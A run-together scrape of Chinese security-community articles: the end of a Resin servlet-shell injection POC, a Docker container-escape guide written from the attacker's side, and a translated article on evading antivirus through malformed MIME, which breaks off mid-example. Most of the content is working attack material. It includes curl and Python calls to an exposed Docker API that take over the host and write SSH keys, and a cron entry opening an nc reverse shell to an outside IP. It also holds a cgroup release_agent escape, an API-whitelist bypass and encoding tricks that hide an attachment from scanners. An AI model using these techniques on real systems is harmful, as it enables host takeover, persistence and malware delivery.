service:304, ServletInvocation (com.caucho.server.dispatch)
handleRequest:840, HttpRequest (com.caucho.server.http)
dispatchRequest:1367, TcpSocketLink (com.caucho.network.listen)
handleRequest:1323, TcpSocketLink (com.caucho.network.listen)
handleRequestsImpl:1307, TcpSocketLink (com.caucho.network.listen)
handleRequests:1215, TcpSocketLink (com.caucho.network.listen)
handleAcceptTaskImpl:1011, TcpSocketLink (com.caucho.network.listen)
runThread:117, ConnectionTask (com.caucho.network.listen)
run:93, ConnectionTask (com.caucho.network.listen)
handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen)
run:61, TcpSocketAcceptThread (com.caucho.network.listen)
runTasks:173, ResinThread2 (com.caucho.env.thread2)
run:118, ResinThread2 (com.caucho.env.thread2)
还是先获取`WebApp`
WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
`ServletMapping`存储着URL和Servlet的对应关系
动态添加思路类似Filter
ServletMapping servletMapping = new ServletMapping();
servletMapping.addURLPattern(url);
servletMapping.setServletName(servletname);
clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");
servletMapping.setServletClass(clazz.getName());
webApp.addServletMapping(servletMapping);
#### POC
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
String servletname = "ServletShell";
String url = "/servlet";
Class clazz;
try {
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
ServletMapping servletMapping = new ServletMapping();
servletMapping.addURLPattern(url);
servletMapping.setServletName(servletname);
clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");
servletMapping.setServletClass(clazz.getName());
webApp.addServletMapping(servletMapping);
res.getWriter().write("Resin Servlet Inject Success!!");
} catch (Exception ignored) {
}
}
} | 社区文章 |
写作日期: 2019.11.01
最近修改日期: 2020.09.01
先知链接: https://xz.aliyun.com/t/7881
本文主要从攻的角度讲述Docker逃逸的一些常见方法
# 0x00 容器101
docker 启动的调用链如下:
docker-client -> dockerd -> docker-containerd -> docker-containerd-shim ->
runc（容器外） -> runc（容器内） -> containter-entrypoint
Docker利用Linux Namespace实现了操作系统级的资源隔离.
逃逸思路:
用户层: 用户配置不当
服务层: 容器服务自身缺陷
系统层: Linux内核漏洞
判断是否是容器
systemd-detect-virt -c
sudo readlink /proc/1/exe
是否存在.dockerenv文件
ls /.dockerenv
在/proc/1/cgroup下是否有/docker
grep '/docker' /proc/1/cgroup
PID为1的进程是否是常规init进程（如systemd或init）
ps -p1
进程数量
ps aux
收集容器信息
#!/bin/bash
id
cat /etc/passwd
cat /etc/os-release
ps aux
uname -a
grep CapEff /proc/self/status
CAP=`grep CapEff /proc/self/status | cut -f 2`
if [ "$CAP" = "0000003fffffffff" ]; then
echo -e "Container is privileged."
else
echo -e "Container is not privileged."
fi
cat /proc/mounts
env
cat /proc/mounts | grep docker.sock
cat /etc/hosts
ls -l /var/run/docker.sock
grep docker /etc/group
ls -l $(which docker)
docker images -a
docker ps -a
cat /usr/lib/systemd/system/docker.service
cat /etc/systemd/system/docker.service
cat /etc/docker/daemon.json
find / -name "docker-compose.*"
cat /home/*/.docker/config.json
iptables -t filter -vnL
# 0x01 用户配置不当导致隔离失效
## 0x01.1 docker.sock暴露到公网
### docker swarm简述
docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote
API的服务，可以通过HTTP、Python、调用API来操作Docker。
起因
官方推荐启动方式如下
sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
按推荐启动，在没有其他网络访问限制的主机上使用，则会在公网暴漏端口。
官方使用指南如下
> AWS uses a "security group" to allow specific types of network traffic on
> your VPC network. The default security group’s initial set of rules deny all
> inbound traffic, allow all outbound traffic, and allow all traffic between
> instances.
说的是如果在AWS VPC 上使用的，禁止入站访问，不受影响。
Tip: 影响不只是2375端口，其他https 2376 port etc.
前提:
root权限启动docker
主机上有镜像,或自己下载镜像
API版本大于1.5
查看client server 版本信息
### 利用方法一 HTTP curl api
* * *
#### 在容器上获取 RCE
1）列出所有容器
第一步是获取主机上所有容器的列表.
Curl 命令:
curl -i -s -X GET http://<docker_host>:PORT/containers/json
响应：
HTTP/1.1 200 OK
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Thu, 04 Apr 2019 05:56:03 GMT
Content-Length: 1780
[
{
"Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf",
"Names":["/another_container"],
"Image":"ubuntu:latest",
"ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499",
"Command":"bash",
"Created":1554357359,
"Ports":[],
"Labels":{},
"State":"running",
"Status":"Up 3 seconds",
"HostConfig":{"NetworkMode":"default"},
"NetworkSettings":{"Networks":
...
注意响应中的"Id"字段，因为下一个命令将会用到它。
2) 创建一个 exec
接下来，我们需要创建一个将在容器上执行的"exec"实例。你可以在此处输入要运行的命令。
请求中的以下项目需要在请求中进行更改：
Container ID Docker Host Port Cmd（我的示例中将 cat /etc/passwd）
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
{
"AttachStdin": true,
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["cat", "/etc/passwd"],
"DetachKeys": "ctrl-p,ctrl-q",
"Privileged": true,
"Tty": true
}
Curl 命令：
curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<docker_host>:PORT/containers/<container_id>/exec
响应：
HTTP/1.1 201 Created
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Fri, 05 Apr 2019 00:51:31 GMT
Content-Length: 74
{"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}
注意响应中的"Id"字段，因为下一个命令将会用到它。
3）启动 exec
现在创建了"exec"，我们需要运行它。
你需要更改请求中的以下项目：
Exec ID Docker Host Port
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{
"Detach": false,
"Tty": false
}
Curl 命令：
curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start
响应：
HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.39
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
#### 接管主机
启动一个docker容器，主机的根目录安装到容器的一个卷上，这样就可以对主机的文件系统执行命令。由于本文中所讨论的漏洞允许你完全的控制API，因此可以控制docker主机。
注意：不要忘记更改dockerhost，port和containerID
1）下载 ubuntu 镜像
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
2）使用已安装的卷创建容器
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
--data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \
http://<docker_host>:PORT/containers/create
3）启动容器
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/containers/<container_ID>/start
至此，你可以利用代码执行漏洞对新容器运行命令。如果要对Host OS运行命令，请不要忘记添加chroot/hostos。
### 利用方法二 Docker python api
写入ssh密钥
# coding:utf-8
import docker
import socks
import socket
import sys
import re
#开启代理
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1081)
#socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 1081)
socket.socket = socks.socksocket
ip = '172.16.145.165'
cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto')
#端口不一定为2375，指定version参数是因为本机和远程主机的API版本可能不同，指定为auto可以自己判断版本
image = cli.images.list()[0]
#读取生成的公钥
f = open('id_rsa_2048.pub', 'r')
sshKey = f.read()
f.close()
try:
cli.containers.run(
image=image.tags[0],
command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"', #这里卡了很久，这是正确有效的写法，在有重定向时直接写命令是无法正确执行的，记得加上sh -c
volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}}, #找一个基本所有环境都有的目录
name='test' #给容器命名，便于后面删除
)
except docker.errors.ContainerError as e:
print(e)
#删除容器
try:
container = cli.containers.get('test')
container.remove()
except Expection as e:
continue
计划任务(by P牛)
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
## 0x01.2 docker几个启动参数
以特权模式启动时，docker容器内拥有宿主机文件读写权限，可以通过写ssh密钥、计划任务等方式达到逃逸。
条件:
以--privileged 参数启动docker container。
获得docker container shell，比如通过蜜罐漏洞、业务漏洞等途径获得。
\--cap-add=SYS_ADMIN 启动时虽然有挂载权限，但没发直接获得资源去挂载，需要其他方法获得资源或其它思路才能利用。
\--net=host 启动时,绕过Network Namespace
\--pid=host 启动时,绕过PID Namespace
\--ipc=host 启动时,绕过IPC Namespace
\--volume /:/host 挂载主机目录到container
网络如果没其他配置，docker不添加网络限制参数，默认使用桥接网络，通过docker0可以访问host。
### \--privileged 利用
启动Docker容器。使用此参数时，容器可以完全访问所有设备，并且不受seccomp，AppArmor和Linux capabilities的限制。
查看磁盘文件: fdisk -l
新建目录以备挂载: mkdir /aa
将宿主机/dev/sda1目录挂载至容器内 /aa: mount /dev/sda1 /aa
即可写文件获取权限或数据
容器挂载宿主机目录，执行结果如下:
### \--cap-add=SYS_ADMIN 利用
前提：
在容器内root用户
容器必须使用SYS_ADMIN Linux capability运行
容器必须缺少AppArmor配置文件，否则将允许mount syscall
cgroup v1虚拟文件系统必须以读写方式安装在容器内部
思路：
我们需要一个cgroup，可以在其中写入notify_on_release文件(for enable cgroup
notifications)，挂载cgroup控制器并创建子cgroup，创建/bin/sh进程并将其PID写入cgroup.procs文件，sh退出后执行release_agent文件。
步骤
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
写入output文件到宿主机截图如下
## 0x01.3 docker.sock暴露到容器内部
容器内部可以与docker deamon通信
Command: `sudo docker -H unix:///google/host/var/run/docker.sock run -it
--privileged --pid=host debian nsenter -t 1 -m -u -n -i sh`
* 案例:
<https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/>
<https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-2/>
## 0x01.4 docker.sock 配置白名单绕过
### 架构
/var/run/docker.sock is not exposed within the docker containers anymore. It is readable and writable only for the “root” user and the “docker” group. As you already know the docker engine uses it directly.
/var/run/somethingelse.sock is instead the resource exposed within the docker containers. The file is created in order to be readable and writable only by an unprivileged user which is not part of the docker group. In this way the process creating it does not own enough access rights to read and write directly into “/var/run/docker.sock”. The docker engine remains the only one able to do that.
用户请求
"/var/run/somethingelse.sock"，经由反向代理，将这些请求转发到"/var/run/docker.sock"。反向代理根据预先保存在配置文件中的授权值白名单来决定是否请求"/var/run/docker.sock"。例如，只有当一个请求符合特定的HTTP方法(GET、POST等......)、路径(例如"/containers/create")和/或JSON体时，才可以让其通过。
### 利用
挂载目录
白名单在验证`/dev/log:/dev/log`时通过
传递多个`"Binds": ["/:/hostos", "/dev/log:/dev/log"]`挂载目录即可挂载成功
执行命令
执行/containers/{id}/exec时拦截
使用attach绕过
curl -i -s --unix-socket /var/run/somethingelse.sock -X POST
“[http://localhost/containers/4fa6bfc84930/attach?logs=1&stream=1&stdin=true&stdout=true&stderr=true”](http://localhost/containers/4fa6bfc84930/attach?logs=1&stream=1&stdin=true&stdout=true&stderr=true”)
挂载目录获取root权限
使用Docker API Cmd参数,不使用Entrypoint参数
curl -i -s --unix-socket /var/run/somethingelse.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true, "Tty": true,"OpenStdin": true, "StdinOnce": true,"Entrypoint": "","Cmd": ["touch", "/hostos/root/1.txt"],"Image": "dockerint.company.com/xxx/imagename:1.0.0-SNAPSHOT","Volumes": {"/hostos/": {}}, "HostConfig": {"Binds": ["/:/hostos", "/dev/log:/dev/log"], "Privileged": true}}' http://localhost/containers/create
# 0x02 容器服务缺陷
## 0x02.1 runC cve-2019-5736
1.关于runC
runC 管理容器的创建，运行，销毁等。
Docker 运行时通常会实现镜像创建和管理等功能。
runC官方功能描述如下
2.影响版本
平台或产品 | 受影响版本
---|---
Docker | Version < 18.09.2
runC | Version <= 1.0-rc6
3.runC利用链分析 代写
why 不使用runC init覆盖，因为CVE-2016-9962 patch。
As a side note, privileged Docker containers (before the new patch) could use the /proc/pid/exe of the runc init process to overwrite the runC binary. To be exact, the specific privileges required are SYS_CAP_PTRACE and disabling AppArmor.
4.复现环境快速搭建
* <https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/>
### 利用方法一 Docker EXEC POC
* <https://github.com/Frichetten/CVE-2019-5736-PoC/>
循环等待 runC init的 PID -> open("/proc/pid/exe"，O_RDONLY) -> execve()释放
runC的IO并覆盖runC二进制文件 -> execve()执行被覆盖 runC
### 利用方法二 恶意镜像POC
* <https://github.com/twistlock/RunC-CVE-2019-5736>
思路: 研究人员通过欺骗runC init execve -> runc 执行/proc/self/exe -> /proc/[runc-pid]/exe覆盖runC 二进制文件
POC文件分析
> Dockerfile文件
1.获取libseccomp文件并将run_at_link文件加入，runC启动运行libseccomp。
ADD run_at_link.c /root/run_at_link.c
RUN set -e -x ;\
cd /root/libseccomp-* ;\
cat /root/run_at_link.c >> src/api.c ;\
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us ;\
dpkg -i /root/*.deb
2.overwrite_runc添加docker中并编译
3.使入口点指向runc
RUN set -e -x ;\
ln -s /proc/self/exe /entrypoint
ENTRYPOINT [ "/entrypoint" ]
> run_at_link文件
1.run_at_link read runc binary 获得fd
int runc_fd_read = open("/proc/self/exe", O_RDONLY);
if (runc_fd_read == -1 ) {
printf("[!] can't open /proc/self/exe\n");
return;
}
printf("[+] Opened runC for reading as /proc/self/fd/%d\n", runc_fd_read);
fflush(stdout);
2.调用execve执行overwrite_runc
execve("/overwrite_runc", argv_overwrite, NULL);
3.overwrite_runc写入poc string
## 0x02.2 Docker cp (CVE-2019-14271)
* <https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/>
## 0x02.3 Docker build code execution CVE-2019-13139
* <https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/>
# 0x03 内核提权
## 0x03.1 Dirty cow
对于由内核漏洞引起的漏洞，其实主要流程如下：
1. 使用内核漏洞进入内核上下文
2. 获取当前进程的task struct
3. 回溯 task list 获取 pid = 1 的 task struct，复制其相关数据
4. 切换当前 namespace
5. 打开 root shell，完成逃逸
（一）脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)
Dirty Cow（CVE-2016-5195）是Linux内核中的权限提升漏洞，源于Linux内核的内存子系统在处理写入时拷贝（copy-on-write, Cow）存在竞争条件（race condition），允许恶意用户提权获取其他只读内存映射的写访问权限。
竞争条件意为任务执行顺序异常，可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞，攻击者可在其目标系统内提升权限，甚至获得root权限。VDSO就是Virtual Dynamic Shared Object（虚拟动态共享对象），即内核提供的虚拟.so。该.so文件位于内核而非磁盘，程序启动时，内核把包含某.so的内存页映射入其内存空间，对应程序就可作为普通.so使用其中的函数。
在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击，令系统崩溃并获得root权限的shell，且浏览容器之外主机上的文件。
# 0x04 针对个人攻击思路
@chernymi 在 Blackhat 分享了针对个人攻击链
触发链接 -> 绕SOP(DNS Rebinding || Host Rebinding) -> Pull Image -> Run Contain ->
Persistent
这块内容待补充
# 0x05 参考
* vulhub
* [exposing-docker.sock](https://dejandayoff.com/the-danger-of-exposing-docker.sock/)
* [docker API未授权访问漏洞分析和利用](https://wooyun.js.org/drops/%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8.html)
* [Docker逃逸初探](https://www.anquanke.com/post/id/179623)
* [容器逃逸方法](https://www.cdxy.me/?p=818) -by cdxy
* [关于 Docker Remote API未授权访问 的一些研究](https://seaii-blog.com/index.php/2017/01/31/26.html)
* [understanding-docker-container-escapes](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
* [google-cloud-shell-bugs](https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-2/)
* [abusing-insecure-docker-deployments](https://strm.sh/post/abusing-insecure-docker-deployments/)
* [cgroups](http://man7.org/linux/man-pages/man7/cgroups.7.html)
* [Container security notes](https://gist.github.com/FrankSpierings/5c79523ba693aaa38bc963083f48456c)
* [Linux Namespace 1](https://coolshell.cn/articles/17010.html) -by 左耳朵耗子
* [Linux Namespace 2](https://coolshell.cn/articles/17029.html) -by 左耳朵耗子
* [AUFS](https://coolshell.cn/articles/17061.html) -by 左耳朵耗子
* [CVE-2019-5736 Docker逃逸](https://bestwing.me/CVE-2019-5736-Docker-escape.html) -by swing
* [runC容器逃逸漏洞分析](https://www.4hou.com/posts/K6EG)
* [探究runC容器逃逸](http://wiki.m4p1e.com/article/getById/57#)
* [CVE-2019-5736 docker escape 漏洞复现](https://thinkycx.me/2019-05-23-CVE-2019-5736-docker-escape-recurrence.html)
* [Blackhat-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence](https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence.pdf) -by @chernymi
* [Blackhat-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence.video](https://www.youtube.com/watch?v=w7tAfIlMIa0)
* [Breaking-docker-via-runc-explaining-cve-2019-5736](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/)
* [runc 启动容器过程分析](https://imkira.com/runc/) -by WEI GUO
* namespace与沙箱安全 -by explorer
* Docker逃逸-从一个进程崩溃讲起 -by 卢宇
* [Docker容器安全性分析](https://www.freebuf.com/articles/system/221319.html)
* [Docker cp命令漏洞分析](https://www.anquanke.com/post/id/193218)
* [Docker-docs](https://docs.docker.com/engine/reference/commandline/run/)
* [Compendium-Of-Container-Escapes-up.pdf](https://i.blackhat.com/USA-19/Thursday/us-19-Edwards-Compendium-Of-Container-Escapes-up.pdf) -by Blackhat Edwards
* [Compendium-Of-Container-Escapes-up.video](https://www.youtube.com/watch?v=BQlqita2D2s) -by Blackhat Edwards
* [容器标准化](https://www.myway5.com/index.php/2019/11/04/%E5%AE%B9%E5%99%A8%E6%A0%87%E5%87%86%E5%8C%96/)
* [gVisor runsc guest->host breakout via filesystem cache desync](https://bugs.chromium.org/p/project-zero/issues/detail?id=1631) google开发的功能类似runc
* [exploration-of-security-when-building-docker-containers](https://blog.heroku.com/exploration-of-security-when-building-docker-containers)
* [云原生之容器安全实践](https://tech.meituan.com/2020/03/12/cloud-native-security.html)
* [A Tale of Escaping a Hardened Docker container](https://www.redtimmy.com/docker/a-tale-of-escaping-a-hardened-docker-container/)
* [针对容器的渗透测试方法](https://cloud.tencent.com/developer/article/1621185)
* [针对Docker容器网络的ARP欺骗与中间人攻击](https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/%E9%92%88%E5%AF%B9Docker%E5%AE%B9%E5%99%A8%E7%BD%91%E7%BB%9C%E7%9A%84ARP%E6%AC%BA%E9%AA%97%E4%B8%8E%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB.pdf)
* [tom0li:collection-document](https://github.com/tom0li/collection-document) | 社区文章 |
# 通过修改 MIME 绕过邮件防病毒引擎检测的五个简单步骤
##### 译文声明
本文是翻译文章，文章来源：noxxi.de
原文地址：<https://noxxi.de/research/mime-5-easy-steps-to-bypass-av.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
传统上邮件仅限ASCII，每行限制为1000个字符。MIME[标准](http://en.wikipedia.org/wiki/MIME)定义了一种具有结构化邮件（包括附件）和传输非ASCII数据。不幸的是，标准并不复杂和灵活，有许多自相矛盾的地方，并且没有定义真正的错误处理。其中IDS
/ IPS，邮件网关或防病毒软件，它们通常以不同方式解释特定准备的邮件到最终用户系统。
这篇文章将展示如何通过几个简单的步骤修改带有恶意附件的邮件，并最终免杀Virustotal的防病毒软件。经过所有这些修改后，仍然可以在Thunderbird中打开邮件并运行恶意负载。在下文中，我将演示如何通过一些简单易懂的步骤隐藏恶意附件以进行正确的分析。
## 第1步：普通MIME
我们首先添加无害的EICAR测试病毒的邮件。邮件由两个MIME部分组成，第一部分是一些文本，第二部分是附件，用Base64编码，
以便将二进制附件转换为ASCII进行传输。截至今天（2018/07/05），Virustotal的36个（59个）产品能够检测到恶意负载。其余部分可能无法或未配置为处理ZIP存档中的邮件文件或恶意软件。
From: [email protected]
To: [email protected]
Subject: plain
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
病毒附加
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
UEsDBBQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWljYXIuY29tizD1VwxQdXAMiDaJCYiKMDXR
CIjTNHd21jSvVXH1dHYM0g0OcfRzcQxy0XX0C/EM8wwKDdYNcQ0O0XXz9HFVVPHQ9tACAFBLAQIU
AxQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABlaWNhci5jb21QSwUGAAAA
AAEAAQA3AAAAbQAAAAAA
--foo--
我们可以通过保存扩展名为`.eml`的文件并使用Thunderbird打开它来验证邮件的内容。它应该显示一个名为whatever.zip的附加ZIP存档，其中包含EICAR测试病毒。
## 第2步：矛盾Content-Transfer-Encoding
首先，我们使用2015年针对AOL Mail工作的相同技巧：我们只添加一个不同的Content-Transfer-Encoding标头，从而对内容的编码方式做出矛盾的陈述。大多数邮件客户端（包括Thunderbird和Outlook）将使用第一个标头而忽略第二个标头，解释以下内容与原始邮件没有区别。尽管如此，即使问题应该至少知道了3年，Virustotal的检测率仍会从36降至28：
From: [email protected]
To: [email protected]
Subject: contradicting Content-Transfer-Encoding
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
病毒附加
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
UEsDBBQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWljYXIuY29tizD1VwxQdXAMiDaJCYiKMDXR
CIjTNHd21jSvVXH1dHYM0g0OcfRzcQxy0XX0C/EM8wwKDdYNcQ0O0XXz9HFVVPHQ9tACAFBLAQIU
AxQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABlaWNhci5jb21QSwUGAAAA
AAEAAQA3AAAAbQAAAAAA
--foo--
## 第3步：添加垃圾字符
Base64中使用的字母表由64个明确定义的字符组成，最后可能有一些’=’。换行符用于将编码分解为单独的行，应该被忽略。但是，还不完全清楚应该如何处理任何其他（垃圾）字符的出现。标准建议但不定义忽略这些字符，即使它们不应该首先发生
– 这几乎是所有实现实际上都做的。从RFC 2045第6.8节节选：
>
> 编码的输出流必须以不超过76个字符的行表示。解码软件必须忽略表1中未找到的所有换行符或其他字符。在base64数据中，除表1中的字符，换行符和其他空格之外的字符可能表示传输错误，在某些情况下，警告消息甚至消息拒绝可能是适当的。
基于此，我们在Base64编码中插入了大量垃圾数据，并最终收到一封邮件，Virustotal的检测率从36降至17：
From: [email protected]
To: [email protected]
Subject: junk characters inside Base64 combined with contradicting CTE
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
病毒附加
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
U.E.s.D.B.B.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q.
A.A.A.A.J.A.A.A.A.Z.W.l.j.Y.X.I.u.Y.2.9.t.i.z.D.1.V.w.x.Q.d.X.
A.M.i.D.a.J.C.Y.i.K.M.D.X.R.C.I.j.T.N.H.d.2.1.
j.S.v.V.X.H.1.d.H.Y.M.0.g.0.O.c.f
.R.z.c.Q.x.y.0.X.X.0.C./.E.M.8.w.w.K.D.d.Y.N.c.Q.0.O.0.X.X.z.
9.H.F.V.V.P.H.Q.9.t.A.C.A.F.B.L.A.Q.I.U.
A.x.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q
.A.A.A.A.J.A.A.A.A.A.A.A.A.A.A.A.A.A.A.C.2.g.Q.A.A.A.A.B.l.a.
W.N.h.c.i.5.j.b.2.1.Q.S.w.U.G.A.A.A.A.
A.A.E.A.A.Q.A.3.A.A.A.A.b.Q.A.A.A.A.A.A.
请注意，这并不意味着所有受影响的产品都无法处理Base64中的垃圾字符。更有可能的是，大多数这些产品在步骤2中都没有检测到原始的内容转移编码，但是使用了一种启发式来检测Base64编码，不管它在哪里。通过添加垃圾字符，这个启发式失败了。
## 第4步：Chunked Base64编码
在这一步中，我们回过头来，不再使用垃圾字符。相反，我们以不同的方式攻击Base64编码：正确的编码总是需要3个输入字符并将这些编码编码为4个输出字符。如果最后只剩下一个或两个输入字符，则输出仍然是4个字符，用’==’（一个输入字符）或’=’（两个输入字符）填充。
这意味着’=’或’==’应仅位于编码数据的末尾。因此，一些解码器将停在第一个’=’。例如，Thunderbird总是读取4个字节的编码数据并对其进行解码，并且不会改变中间编码数据与末尾编码数据的’=’行为。这导致了不是一次编码总共3个字符而是一次只编码2个字符的想法，在编码数据中留下了很多’=’。Thunderbird将像原始邮件一样处理此邮件，但Virustotal的检测率从36下降到1个：
From: [email protected]
To: [email protected]
Subject: Base64 encoded in small chunks instead one piece + contradicting CTE
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
病毒附加
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
UEs=AwQ=FAA=AgA=CAA=EUo=jkk=PM8=UWg=RgA=AAA=RAA=AAA=CQA=AAA=ZWk=Y2E=ci4=
Y28=bYs=MPU=Vww=UHU=cAw=iDY=iQk=iIo=MDU=0Qg=iNM=NHc=dtY=NK8=VXE=9XQ=dgw=
0g0=DnE=9HM=cQw=ctE=dfQ=C/E=DPM=DAo=DdY=DXE=DQ4=0XU=8/Q=cVU=VPE=0PY=0AI=
AFA=SwE=AhQ=AxQ=AAI=AAg=ABE=So4=STw=z1E=aEY=AAA=AEQ=AAA=AAk=AAA=AAA=AAA=
AAA=AAA=ALY=gQA=AAA=AGU=aWM=YXI=LmM=b20=UEs=BQY=AAA=AAA=AQA=AQA=NwA=AAA=
bQA=AAA=AAA=
--foo--
## 第5步：再次使用垃圾字符
为了混淆最后剩下的产品，我们再次添加第3步中的垃圾字符。这成功地将检测率从36降低到零：
From: [email protected]
To: [email protected]
Subject: chunked Base64 combined with junk characters and contradicting CTE
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
病毒附加
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
UEs=.AwQ=.FAA=.AgA=.CAA=.EUo=.jkk=.PM8=.UWg=.RgA=.AAA=.RAA=.AAA=.CQA=.AAA=.
ZWk=.Y2E=.ci4=.Y28=.bYs=.MPU=.Vww=.UHU=.cAw=.iDY=.iQk=.iIo=.MDU=.0Qg=.iNM=.
NHc=.dtY=.NK8=.VXE=.9XQ=.dgw=.0g0=.DnE=.9HM=.cQw=.ctE=.dfQ=.C/E=.DPM=.DAo=.
